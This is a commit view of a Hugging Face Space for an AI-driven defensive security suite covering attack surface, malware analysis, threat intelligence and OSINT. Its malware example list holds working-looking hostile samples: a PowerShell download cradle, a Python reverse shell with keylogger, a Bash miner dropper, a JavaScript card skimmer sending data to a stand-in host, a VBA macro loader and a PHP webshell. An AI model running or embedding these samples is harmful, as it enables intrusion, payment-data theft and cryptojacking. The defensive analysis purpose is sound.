Vasanthakumar R commited on
Commit
f2f040f
·
0 Parent(s):

Achilles Security Suite — ASM, Malware, CTI, OSINT

Browse files
Files changed (3) hide show
  1. README.md +21 -0
  2. app.py +598 -0
  3. requirements.txt +6 -0
README.md ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ title: Achilles Security Suite
3
+ emoji: 🛡️
4
+ colorFrom: red
5
+ colorTo: gray
6
+ sdk: gradio
7
+ sdk_version: 5.12.0
8
+ app_file: app.py
9
+ pinned: true
10
+ license: apache-2.0
11
+ suggested_hardware: t4-small
12
+ ---
13
+
14
+ # Achilles Security Suite
15
+
16
+ AI-powered security analysis platform by **HTS-ASPM**.
17
+
18
+ - **Attack Surface** — Analyze cloud configs, K8s manifests, network scans
19
+ - **Malware Analyzer** — Classify suspicious scripts and binaries
20
+ - **Threat Intel** — Extract IOCs, map TTPs to MITRE ATT&CK, generate Sigma/YARA rules
21
+ - **OSINT Recon** — Analyze digital footprints and organizational exposure
app.py ADDED
@@ -0,0 +1,598 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Achilles Security Suite — HuggingFace Space
3
+ Attack Surface | Malware Analysis | Threat Intelligence | OSINT
4
+
5
+ Deploy:
6
+ 1. Create Space on huggingface.co (Gradio SDK, T4 Small GPU)
7
+ 2. Upload this directory
8
+ 3. Set secrets: HF_MODEL (your fine-tuned model or base model)
9
+ """
10
+
11
+ import os
12
+ import gradio as gr
13
+ import torch
14
+ from transformers import AutoModelForCausalLM, AutoTokenizer
15
+
16
+ # ── Model ───────────────────────────────────────────────────────
17
+ MODEL_ID = os.environ.get("HF_MODEL", "Qwen/Qwen2.5-Coder-7B-Instruct")
18
+ ADAPTER_ID = os.environ.get("HF_ADAPTER", "")
19
+
20
+ device = "cuda" if torch.cuda.is_available() else "mps" if torch.backends.mps.is_available() else "cpu"
21
+ dtype = torch.float16 if device != "cpu" else torch.float32
22
+
23
+ print(f"Loading {MODEL_ID} on {device}...")
24
+ tokenizer = AutoTokenizer.from_pretrained(MODEL_ID, trust_remote_code=True)
25
+ if tokenizer.pad_token is None:
26
+ tokenizer.pad_token = tokenizer.eos_token
27
+
28
+ model = AutoModelForCausalLM.from_pretrained(
29
+ MODEL_ID, torch_dtype=dtype, device_map="auto", trust_remote_code=True,
30
+ )
31
+
32
+ if ADAPTER_ID:
33
+ from peft import PeftModel
34
+ model = PeftModel.from_pretrained(model, ADAPTER_ID)
35
+
36
+ model.eval()
37
+ print("Model ready!")
38
+
39
+
40
+ # ── System Prompts ──────────────────────────────────────────────
41
+ SYSTEM_PROMPTS = {
42
+ "asm": (
43
+ "You are Achilles ASM, an AI-powered Attack Surface Management analyst. "
44
+ "You identify exposed assets, misconfigurations, and security gaps across "
45
+ "cloud infrastructure, web applications, and network services. "
46
+ "You provide actionable remediation steps ranked by risk severity."
47
+ ),
48
+ "malware": (
49
+ "You are Achilles Malware Analyst, an AI security researcher specializing in "
50
+ "malware reverse engineering, static analysis, and behavioral analysis. "
51
+ "You identify malicious patterns, IOCs, MITRE ATT&CK techniques, and provide "
52
+ "detailed technical analysis of suspicious code and artifacts."
53
+ ),
54
+ "cti": (
55
+ "You are Achilles CTI Analyst, an AI-powered Cyber Threat Intelligence analyst. "
56
+ "You parse threat reports, extract IOCs, map adversary TTPs to MITRE ATT&CK, "
57
+ "assess threat actor attribution, and produce actionable intelligence briefs. "
58
+ "You provide structured output following STIX 2.1 conventions."
59
+ ),
60
+ "osint": (
61
+ "You are Achilles OSINT Analyst, an AI-powered Open Source Intelligence researcher. "
62
+ "You analyze publicly available information to map digital footprints, identify "
63
+ "security exposure, and assess organizational risk. You follow ethical OSINT practices."
64
+ ),
65
+ }
66
+
67
+
68
+ # ── Inference ───────────────────────────────────────────────────
69
+ def run_inference(system_key: str, user_prompt: str, max_tokens: int = 1024) -> str:
70
+ if not user_prompt.strip():
71
+ return "Please provide input to analyze."
72
+
73
+ system = SYSTEM_PROMPTS[system_key]
74
+ prompt = (
75
+ f"<|im_start|>system\n{system}<|im_end|>\n"
76
+ f"<|im_start|>user\n{user_prompt}<|im_end|>\n"
77
+ f"<|im_start|>assistant\n"
78
+ )
79
+
80
+ inputs = tokenizer(prompt, return_tensors="pt", truncation=True, max_length=4096).to(model.device)
81
+
82
+ with torch.no_grad():
83
+ outputs = model.generate(
84
+ **inputs,
85
+ max_new_tokens=max_tokens,
86
+ temperature=0.3,
87
+ top_p=0.9,
88
+ do_sample=True,
89
+ repetition_penalty=1.1,
90
+ pad_token_id=tokenizer.pad_token_id,
91
+ )
92
+
93
+ response = tokenizer.decode(outputs[0][inputs["input_ids"].shape[1]:], skip_special_tokens=True)
94
+ if "<|im_end|>" in response:
95
+ response = response[:response.index("<|im_end|>")]
96
+ return response.strip()
97
+
98
+
99
+ # ════════════════════════════════════════════════════════════════
100
+ # TAB 1: Attack Surface Management
101
+ # ════════════════════════════════════════════════════════════════
102
+ ASM_EXAMPLES = [
103
+ ["AWS S3 Bucket Policy", '''{
104
+ "Version": "2012-10-17",
105
+ "Statement": [{
106
+ "Sid": "PublicRead",
107
+ "Effect": "Allow",
108
+ "Principal": "*",
109
+ "Action": ["s3:GetObject", "s3:PutObject"],
110
+ "Resource": "arn:aws:s3:::company-data-prod/*"
111
+ }]
112
+ }'''],
113
+ ["Kubernetes Pod", '''apiVersion: v1
114
+ kind: Pod
115
+ metadata:
116
+ name: app-server
117
+ namespace: production
118
+ spec:
119
+ hostNetwork: true
120
+ containers:
121
+ - name: app
122
+ image: myapp:latest
123
+ securityContext:
124
+ privileged: true
125
+ runAsUser: 0
126
+ ports:
127
+ - containerPort: 8080
128
+ hostPort: 8080'''],
129
+ ["AWS Security Group", '''{
130
+ "GroupId": "sg-0abc123def456",
131
+ "GroupName": "web-servers",
132
+ "IpPermissions": [
133
+ {"IpProtocol": "tcp", "FromPort": 22, "ToPort": 22,
134
+ "IpRanges": [{"CidrIp": "0.0.0.0/0"}]},
135
+ {"IpProtocol": "tcp", "FromPort": 3306, "ToPort": 3306,
136
+ "IpRanges": [{"CidrIp": "0.0.0.0/0"}]},
137
+ {"IpProtocol": "tcp", "FromPort": 443, "ToPort": 443,
138
+ "IpRanges": [{"CidrIp": "0.0.0.0/0"}]}
139
+ ]
140
+ }'''],
141
+ ["Terraform Config", '''resource "aws_db_instance" "production" {
142
+ engine = "mysql"
143
+ engine_version = "5.7"
144
+ instance_class = "db.t3.micro"
145
+ publicly_accessible = true
146
+ storage_encrypted = false
147
+ skip_final_snapshot = true
148
+ backup_retention_period = 0
149
+ }
150
+
151
+ resource "aws_s3_bucket" "logs" {
152
+ bucket = "company-audit-logs"
153
+ }
154
+
155
+ resource "aws_s3_bucket_public_access_block" "logs" {
156
+ bucket = aws_s3_bucket.logs.id
157
+ block_public_acls = false
158
+ block_public_policy = false
159
+ ignore_public_acls = false
160
+ restrict_public_buckets = false
161
+ }'''],
162
+ ["Docker Compose", '''version: "3"
163
+ services:
164
+ app:
165
+ image: myapp:latest
166
+ privileged: true
167
+ network_mode: host
168
+ volumes:
169
+ - /:/host
170
+ - /var/run/docker.sock:/var/run/docker.sock
171
+ environment:
172
+ - DB_PASSWORD=admin123
173
+ - API_KEY=sk-prod-abc123
174
+ redis:
175
+ image: redis:7
176
+ ports:
177
+ - "0.0.0.0:6379:6379"
178
+ command: redis-server'''],
179
+ ["Nginx Config", '''server {
180
+ listen 80;
181
+ server_name api.company.com;
182
+
183
+ location / {
184
+ proxy_pass http://backend:3000;
185
+ }
186
+
187
+ location /server-status {
188
+ stub_status on;
189
+ }
190
+
191
+ location ~ /\\.git {
192
+ # no deny rule
193
+ }
194
+
195
+ autoindex on;
196
+ }'''],
197
+ ]
198
+
199
+ def scan_infra(asset_type, config, max_tokens):
200
+ prompt = f"Analyze this {asset_type} configuration for security issues and attack surface exposure:\n\n```\n{config}\n```"
201
+ return run_inference("asm", prompt, max_tokens)
202
+
203
+
204
+ # ════════════════════════════════════════════════════════════════
205
+ # TAB 2: Malware Analysis
206
+ # ════════════════════════════════════════════════════════════════
207
+ MALWARE_EXAMPLES = [
208
+ ["PowerShell", '''$c = New-Object Net.WebClient
209
+ $u = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("aHR0cDovLzEwLjAuMC4xL3BheWxvYWQ="))
210
+ $d = $c.DownloadString($u)
211
+ IEX($d)
212
+ $path = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
213
+ New-ItemProperty -Path $path -Name "WindowsUpdate" -Value "powershell -ep bypass -w hidden -f C:\\Users\\Public\\svchost.ps1"
214
+ Start-Process -WindowStyle Hidden -FilePath "cmd.exe" -ArgumentList "/c netsh advfirewall set allprofiles state off"'''],
215
+ ["Python", '''import socket, subprocess, os, threading, time
216
+
217
+ def connect_back(host, port):
218
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
219
+ s.connect((host, port))
220
+ os.dup2(s.fileno(), 0)
221
+ os.dup2(s.fileno(), 1)
222
+ os.dup2(s.fileno(), 2)
223
+ subprocess.call(["/bin/sh", "-i"])
224
+
225
+ def keylog():
226
+ import pynput.keyboard
227
+ keys = []
228
+ def on_press(key):
229
+ keys.append(str(key))
230
+ if len(keys) > 50:
231
+ with open("/tmp/.cache_log", "a") as f:
232
+ f.write("".join(keys))
233
+ keys.clear()
234
+ with pynput.keyboard.Listener(on_press=on_press) as listener:
235
+ listener.join()
236
+
237
+ threading.Thread(target=connect_back, args=("10.0.0.1", 4444)).start()
238
+ threading.Thread(target=keylog).start()'''],
239
+ ["Bash", '''#!/bin/bash
240
+ curl -s http://10.0.0.1/xmrig -o /tmp/.cache_bin
241
+ chmod +x /tmp/.cache_bin
242
+ (crontab -l 2>/dev/null; echo "*/5 * * * * /tmp/.cache_bin -o stratum+tcp://pool.minexmr.com:4444 -u WALLET --background") | crontab -
243
+ cp /tmp/.cache_bin /usr/local/bin/.libcache
244
+ cat > /etc/systemd/system/libcache.service << 'UNIT'
245
+ [Unit]
246
+ Description=System Cache Service
247
+ [Service]
248
+ ExecStart=/usr/local/bin/.libcache
249
+ Restart=always
250
+ [Install]
251
+ WantedBy=multi-user.target
252
+ UNIT
253
+ systemctl enable libcache 2>/dev/null
254
+ nohup /tmp/.cache_bin &>/dev/null &'''],
255
+ ["JavaScript", '''(function() {
256
+ const fields = document.querySelectorAll(
257
+ 'input[type="password"], input[name*="card"], input[name*="cvv"], ' +
258
+ 'input[name*="expir"], input[name*="ccnum"], input[autocomplete="cc-number"]'
259
+ );
260
+ const exfil = (data) => {
261
+ const img = new Image();
262
+ img.src = "https://cdn-analytics.example.com/pixel.gif?d=" + btoa(JSON.stringify(data));
263
+ };
264
+ const captured = {};
265
+ fields.forEach(el => {
266
+ el.addEventListener("blur", () => {
267
+ captured[el.name || el.id] = el.value;
268
+ });
269
+ });
270
+ const form = document.querySelector('form[action*="checkout"], form[action*="payment"]');
271
+ if (form) {
272
+ form.addEventListener("submit", () => exfil(captured));
273
+ }
274
+ })();'''],
275
+ ["VBA Macro", '''Sub AutoOpen()
276
+ Dim cmd As String
277
+ cmd = "powershell -nop -w hidden -ep bypass -c ""$c=New-Object Net.WebClient;" & _
278
+ "$c.Proxy=[Net.WebRequest]::GetSystemWebProxy();" & _
279
+ "$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;" & _
280
+ "IEX($c.DownloadString('http://10.0.0.1/stage2.ps1'))"""
281
+ Shell cmd, vbHide
282
+ End Sub
283
+
284
+ Sub Document_Open()
285
+ AutoOpen
286
+ End Sub'''],
287
+ ["PHP Webshell", '''<?php
288
+ @error_reporting(0);
289
+ @set_time_limit(0);
290
+ $auth = md5($_COOKIE['session'] ?? '');
291
+ if ($auth === '5f4dcc3b5aa765d61d8327deb882cf99') {
292
+ if (isset($_POST['cmd'])) {
293
+ echo "<pre>" . shell_exec(base64_decode($_POST['cmd'])) . "</pre>";
294
+ }
295
+ if (isset($_FILES['upload'])) {
296
+ move_uploaded_file($_FILES['upload']['tmp_name'], $_POST['path']);
297
+ }
298
+ }
299
+ ?>'''],
300
+ ]
301
+
302
+ def analyze_malware(script_type, code, max_tokens):
303
+ prompt = (
304
+ f"Analyze this {script_type} script for malicious behavior. "
305
+ f"Identify IOCs, MITRE ATT&CK techniques, malware family, and provide a verdict:\n\n```\n{code}\n```"
306
+ )
307
+ return run_inference("malware", prompt, max_tokens)
308
+
309
+
310
+ # ════════════════════════════════════════════════════════════════
311
+ # TAB 3: Threat Intelligence
312
+ # ════════════════════════════════════════════════════════════════
313
+ CTI_EXAMPLES = [
314
+ ["IOC Extraction", """On March 15, 2026, our honeypot detected scanning activity from 198.51.100.23 and 198.51.100.45. The attacker sent spearphishing emails from invoice@secure-update.example.net containing a Word document "Q1_Invoice.docm" (SHA256: a1b2c3d4e5f67890abcdef1234567890abcdef1234567890abcdef1234567890). Upon macro execution, it dropped a DLL at C:\\Users\\Public\\msupdate.dll (MD5: deadbeef12345678deadbeef12345678) which established C2 communication with https://api.cloudfront-cdn.example.net/api/v2/update and https://static.azure-sync.example.com/telemetry. DNS queries to ns1.evil-dns.example.org were observed. The campaign exploited CVE-2024-1234 and CVE-2025-5678, primarily targeting financial institutions. Attacker email: admin@phish-domain.example.com."""],
315
+ ["ATT&CK Mapping", """Incident timeline:
316
+ 1. Initial access via phishing email with malicious macro attachment (T+0h)
317
+ 2. Macro spawned PowerShell with encoded command to download stage 2 (T+0h)
318
+ 3. Stage 2 payload performed credential dumping using Mimikatz (T+1h)
319
+ 4. Active Directory enumerated with BloodHound/SharpHound (T+2h)
320
+ 5. Lateral movement via PsExec to 3 domain controllers (T+4h)
321
+ 6. Persistence via scheduled task and WMI event subscription (T+4h)
322
+ 7. Data staged in C:\\Windows\\Temp\\, compressed with 7zip (T+12h)
323
+ 8. Exfiltrated 2.3GB to Mega.nz cloud storage over HTTPS (T+14h)
324
+ 9. Ransomware deployed via Group Policy to all domain-joined machines (T+16h)
325
+ 10. Shadow copies deleted, event logs cleared (T+16h)"""],
326
+ ["Sigma Rule", """Write a Sigma detection rule for the following behavior:
327
+ - Process: powershell.exe or pwsh.exe
328
+ - Parent process: WINWORD.EXE, EXCEL.EXE, or OUTLOOK.EXE
329
+ - Command line contains: -enc, -encodedcommand, -e, downloadstring, IEX, or Invoke-Expression
330
+ - Should detect macro-spawned PowerShell download cradles
331
+ - Include appropriate false positive guidance"""],
332
+ ["YARA Rule", """Write a YARA rule to detect the following malware family characteristics:
333
+ - PE file with UPX packed sections
334
+ - Contains strings: "Mozilla/5.0", "/api/beacon", "cmd.exe /c"
335
+ - Imports: VirtualAlloc, WriteProcessMemory, CreateRemoteThread
336
+ - Has encrypted configuration block (high entropy section > 7.5)
337
+ - File size between 50KB and 500KB"""],
338
+ ["Threat Brief", """NEW CRITICAL VULNERABILITY ADVISORY:
339
+ - CVE-2026-9999: Remote Code Execution in Apache Struts
340
+ - CVSS: 9.8 (Critical)
341
+ - Affected: Apache Struts 2.0.0 through 2.5.30
342
+ - Root cause: OGNL injection via crafted Content-Type header
343
+ - Proof-of-concept: Published on GitHub 2 hours ago
344
+ - Exploitation: Active scanning observed from known APT infrastructure
345
+ - Targets: Government agencies and healthcare organizations
346
+ - Patch available: Upgrade to Struts 2.5.31+
347
+
348
+ Generate a threat intelligence brief for distribution to SOC and IR teams."""],
349
+ ["Detection Query", """Write detection queries in both Splunk SPL and Microsoft KQL for:
350
+ Technique: T1053.005 - Scheduled Task/Job
351
+ Indicators:
352
+ - schtasks.exe creating tasks with /sc onlogon or /sc onstart
353
+ - Task action pointing to suspicious paths (Users\\Public, AppData, Temp)
354
+ - Tasks created by non-standard parent processes
355
+ - Tasks with encoded PowerShell commands in the action"""],
356
+ ]
357
+
358
+ def analyze_threat(task_type, content, max_tokens):
359
+ prompt = f"Task: {task_type}\n\nInput:\n{content}"
360
+ return run_inference("cti", prompt, max_tokens)
361
+
362
+
363
+ # ═══════��════════════════════════════════════════════════════════
364
+ # TAB 4: OSINT
365
+ # ════════════════════════════════════════════════════════════════
366
+ OSINT_EXAMPLES = [
367
+ ["Domain Recon", """Analyze the following DNS records for target acme-corp.example.com:
368
+
369
+ A: 203.0.113.10, 203.0.113.11
370
+ AAAA: 2001:db8::1
371
+ MX: aspmtp.l.google.com (pri 5), alt1.aspmtp.l.google.com (pri 10)
372
+ TXT: v=spf1 include:_spf.google.com include:sendgrid.net ~all
373
+ TXT: google-site-verification=abc123xyz
374
+ TXT: MS=ms12345678
375
+ TXT: _dmarc: v=DMARC1; p=none; rua=mailto:dmarc@acme-corp.example.com
376
+ CNAME: www -> acme-corp.example.com.cdn.cloudflare.net
377
+ CNAME: staging -> staging-env.herokuapp.com [NXDOMAIN]
378
+ CNAME: dev -> d-1234567.execute-api.us-east-1.amazonaws.com
379
+ CNAME: mail -> ghs.googlehosted.com
380
+ NS: ns1.cloudflare.com, ns2.cloudflare.com
381
+ SOA: dns1.p01.nsone.net"""],
382
+ ["Tech Fingerprint", """HTTP Response Headers from https://acme-corp.example.com:
383
+
384
+ HTTP/2 200
385
+ server: nginx/1.18.0
386
+ x-powered-by: PHP/7.4.3
387
+ x-generator: WordPress 5.9.3
388
+ set-cookie: PHPSESSID=a1b2c3; path=/; HttpOnly
389
+ x-debug-token: 7f3a2b
390
+ x-request-id: req-abc-123
391
+ via: 1.1 varnish
392
+ x-cache: MISS
393
+ age: 0
394
+ content-security-policy: (MISSING)
395
+ strict-transport-security: (MISSING)
396
+ x-content-type-options: (MISSING)
397
+ x-frame-options: (MISSING)
398
+ permissions-policy: (MISSING)
399
+
400
+ HTML source contains:
401
+ - /wp-content/plugins/elementor/
402
+ - /wp-content/plugins/woocommerce/
403
+ - jQuery 3.5.1
404
+ - Google Analytics UA-12345678-1
405
+ - Intercom widget (app_id: xyz123)
406
+ - Hotjar tracking (hjid: 999999)"""],
407
+ ["GitHub Recon", """GitHub organization analysis for "acme-corp":
408
+
409
+ Organization: acme-corp
410
+ Public repos: 47
411
+ Visible members: 12
412
+ Created: 2019
413
+
414
+ Notable repos:
415
+ - internal-api (Python/FastAPI) - 234 commits, 3 contributors
416
+ - deploy-scripts (Bash) - 89 commits
417
+ - mobile-app (React Native) - 1.2k commits
418
+ - infrastructure (Terraform) - marked as "internal" in description
419
+
420
+ Findings in commit history:
421
+ - deploy-scripts commit abc123: AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
422
+ - internal-api commit def456: DATABASE_URL=postgres://admin:Pr0d_P@ss!@db.acme-corp.example.com:5432/production
423
+ - infrastructure commit ghi789: Contains VPN configs with internal IP ranges 10.0.0.0/8
424
+
425
+ .env.example files reference:
426
+ - STRIPE_SECRET_KEY, SENDGRID_API_KEY, JWT_SECRET, REDIS_URL
427
+
428
+ CI configs (.github/workflows/) deploy to:
429
+ - staging.acme-corp.example.com
430
+ - api.acme-corp.example.com
431
+ - admin.acme-corp.example.com (not listed in DNS)"""],
432
+ ["Exposure Assessment", """Shodan/Censys results for 203.0.113.0/24 (acme-corp range):
433
+
434
+ 203.0.113.10 nginx/1.18.0 ports: 80, 443
435
+ 203.0.113.11 Apache/2.4.41 ports: 80, 443, 8080 (Tomcat manager)
436
+ 203.0.113.15 OpenSSH 7.6p1 port: 22
437
+ MySQL 5.7.32 port: 3306 (auth required)
438
+ 203.0.113.20 MongoDB 4.4.6 port: 27017 (NO AUTH)
439
+ - Databases: production, analytics, user_sessions
440
+ - Collections visible: users (142k docs), transactions (890k docs)
441
+ 203.0.113.25 Elasticsearch 7.10.0 port: 9200 (NO AUTH)
442
+ - Indices: logs-2026.*, customer-data, internal-docs
443
+ - Cluster name: acme-production
444
+ 203.0.113.30 Jenkins 2.289.1 port: 8080
445
+ - Login page exposed, version banner visible
446
+ - /script endpoint returns 403 (not 404)
447
+ 203.0.113.35 Grafana 8.3.0 port: 3000
448
+ - Anonymous access enabled
449
+ - Dashboard: "Production Metrics" publicly visible"""],
450
+ ["Supply Chain Risk", """Assess supply chain risk for these third-party dependencies used by acme-corp:
451
+
452
+ NPM packages:
453
+ - event-stream@3.3.6 (known compromised in 2018 incident)
454
+ - ua-parser-js@0.7.28 (known supply chain attack in 2021)
455
+ - lodash@4.17.20 (outdated, known prototype pollution CVEs)
456
+ - company-internal-utils@1.0.0 (published under personal account, not org)
457
+
458
+ Python packages:
459
+ - requests@2.25.1 (outdated)
460
+ - pyyaml@5.3 (known arbitrary code execution CVE)
461
+ - django@3.2.0 (EOL, multiple known CVEs)
462
+ - acme-auth-helper@0.1.0 (12 downloads total, registered 3 days ago)
463
+
464
+ Docker images:
465
+ - node:14-alpine (EOL base image)
466
+ - python:3.8-slim (approaching EOL)
467
+ - redis:6.0 (outdated)
468
+ - mycompany/backend:latest (no pinned digest, mutable tag)"""],
469
+ ]
470
+
471
+ def analyze_osint(task_type, data, max_tokens):
472
+ prompt = f"OSINT Analysis Task: {task_type}\n\nData:\n{data}"
473
+ return run_inference("osint", prompt, max_tokens)
474
+
475
+
476
+ # ════════════════════════════════════════════════════════════════
477
+ # Gradio UI
478
+ # ════════════════════════════════════════════════════════════════
479
+ CSS = """
480
+ .main-header { text-align: center; padding: 24px 0 8px; }
481
+ .main-header h1 { color: #dc2626; font-size: 2.2em; margin: 0; letter-spacing: -0.02em; }
482
+ .main-header .sub { color: #94a3b8; margin: 4px 0 0; }
483
+ .main-header .brand { color: #475569; font-size: 0.8em; margin-top: 6px; }
484
+ .tab-header { border-left: 3px solid #dc2626; padding-left: 12px; margin: 8px 0 16px; }
485
+ .tab-header h3 { margin: 0; }
486
+ .tab-header p { margin: 2px 0 0; color: #64748b; font-size: 0.9em; }
487
+ .status-bar { background: #1e293b; border-radius: 8px; padding: 10px 16px; margin: 0 0 12px;
488
+ display: flex; justify-content: space-between; align-items: center; }
489
+ .status-bar span { color: #94a3b8; font-size: 0.85em; }
490
+ .status-bar .model { color: #22c55e; font-weight: 600; }
491
+ .status-bar .device { color: #f59e0b; }
492
+ footer { display: none !important; }
493
+ """
494
+
495
+ ASM_TYPES = ["AWS S3 Bucket Policy", "AWS IAM Policy", "AWS Security Group", "Kubernetes Pod",
496
+ "Kubernetes RBAC", "Terraform Config", "Docker Compose", "Nginx Config",
497
+ "GCP Firewall", "Azure NSG", "DNS Records", "TLS Scan", "Port Scan Results"]
498
+ MALWARE_TYPES = ["PowerShell", "Python", "Bash", "JavaScript", "VBA Macro", "PHP Webshell",
499
+ "Batch", "Binary Indicators"]
500
+ CTI_TYPES = ["IOC Extraction", "ATT&CK Mapping", "Sigma Rule", "YARA Rule",
501
+ "Threat Brief", "Detection Query", "Actor Profiling"]
502
+ OSINT_TYPES = ["Domain Recon", "Tech Fingerprint", "GitHub Recon", "Exposure Assessment",
503
+ "Credential Leak Analysis", "Cloud Asset Discovery", "Supply Chain Risk"]
504
+
505
+ THEME = gr.themes.Base(
506
+ primary_hue="red", secondary_hue="slate", neutral_hue="slate",
507
+ font=gr.themes.GoogleFont("Inter"),
508
+ )
509
+
510
+ with gr.Blocks(title="Achilles Security Suite", theme=THEME, css=CSS) as demo:
511
+
512
+ gr.HTML(f"""
513
+ <div class="main-header">
514
+ <h1>ACHILLES</h1>
515
+ <p class="sub"><b>Security Intelligence Suite</b></p>
516
+ <p class="brand">Attack Surface &bull; Malware &bull; Threat Intel &bull; OSINT</p>
517
+ <p class="brand">Built by HTS-ASPM</p>
518
+ </div>
519
+ <div class="status-bar">
520
+ <span>Model: <span class="model">{MODEL_ID.split('/')[-1]}</span></span>
521
+ <span>Device: <span class="device">{device.upper()}</span></span>
522
+ <span>Domains: 4 active</span>
523
+ </div>
524
+ """)
525
+
526
+ with gr.Tabs():
527
+
528
+ # ── Attack Surface ──
529
+ with gr.Tab("Attack Surface"):
530
+ gr.HTML('<div class="tab-header"><h3>Attack Surface Management</h3><p>Analyze cloud configs, K8s manifests, Terraform, Docker, and network scan results for misconfigurations</p></div>')
531
+ with gr.Row(equal_height=True):
532
+ with gr.Column():
533
+ asm_type = gr.Dropdown(choices=ASM_TYPES, value="AWS S3 Bucket Policy", label="Asset Type")
534
+ asm_input = gr.Code(label="Configuration / Scan Data", language="json", lines=18)
535
+ asm_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
536
+ asm_btn = gr.Button("Assess Attack Surface", variant="primary", size="lg")
537
+ with gr.Column():
538
+ asm_out = gr.Markdown(label="Assessment")
539
+ asm_btn.click(scan_infra, [asm_type, asm_input, asm_tok], asm_out)
540
+ with gr.Accordion("Examples", open=False):
541
+ gr.Examples(ASM_EXAMPLES, [asm_type, asm_input], label="Click to load")
542
+
543
+ # ── Malware ──
544
+ with gr.Tab("Malware Analyzer"):
545
+ gr.HTML('<div class="tab-header"><h3>Malware Analysis</h3><p>Classify suspicious scripts and code — identify IOCs, ATT&CK techniques, and malicious behavior patterns</p></div>')
546
+ with gr.Row(equal_height=True):
547
+ with gr.Column():
548
+ mal_type = gr.Dropdown(choices=MALWARE_TYPES, value="PowerShell", label="Script Type")
549
+ mal_input = gr.Code(label="Suspicious Code", language="shell", lines=18)
550
+ mal_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
551
+ mal_btn = gr.Button("Analyze Sample", variant="primary", size="lg")
552
+ with gr.Column():
553
+ mal_out = gr.Markdown(label="Analysis Report")
554
+ mal_btn.click(analyze_malware, [mal_type, mal_input, mal_tok], mal_out)
555
+ with gr.Accordion("Examples", open=False):
556
+ gr.Examples(MALWARE_EXAMPLES, [mal_type, mal_input], label="Click to load")
557
+
558
+ # ── Threat Intel ──
559
+ with gr.Tab("Threat Intel"):
560
+ gr.HTML('<div class="tab-header"><h3>Cyber Threat Intelligence</h3><p>Extract IOCs, map to MITRE ATT&CK, generate Sigma/YARA detection rules, produce threat briefs</p></div>')
561
+ with gr.Row(equal_height=True):
562
+ with gr.Column():
563
+ cti_type = gr.Dropdown(choices=CTI_TYPES, value="IOC Extraction", label="Task")
564
+ cti_input = gr.Textbox(label="Threat Report / Data", lines=16,
565
+ placeholder="Paste threat report, IOCs, attack description, or detection requirements...")
566
+ cti_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
567
+ cti_btn = gr.Button("Analyze Threat", variant="primary", size="lg")
568
+ with gr.Column():
569
+ cti_out = gr.Markdown(label="Intelligence Output")
570
+ cti_btn.click(analyze_threat, [cti_type, cti_input, cti_tok], cti_out)
571
+ with gr.Accordion("Examples", open=False):
572
+ gr.Examples(CTI_EXAMPLES, [cti_type, cti_input], label="Click to load")
573
+
574
+ # ── OSINT ──
575
+ with gr.Tab("OSINT"):
576
+ gr.HTML('<div class="tab-header"><h3>Open Source Intelligence</h3><p>Analyze digital footprints, exposed assets, supply chain risks, and organizational exposure</p></div>')
577
+ with gr.Row(equal_height=True):
578
+ with gr.Column():
579
+ osint_type = gr.Dropdown(choices=OSINT_TYPES, value="Domain Recon", label="Task")
580
+ osint_input = gr.Textbox(label="OSINT Data", lines=16,
581
+ placeholder="Paste DNS records, Shodan results, HTTP headers, GitHub data, or dependency lists...")
582
+ osint_tok = gr.Slider(256, 2048, value=1024, step=128, label="Max tokens")
583
+ osint_btn = gr.Button("Analyze", variant="primary", size="lg")
584
+ with gr.Column():
585
+ osint_out = gr.Markdown(label="OSINT Report")
586
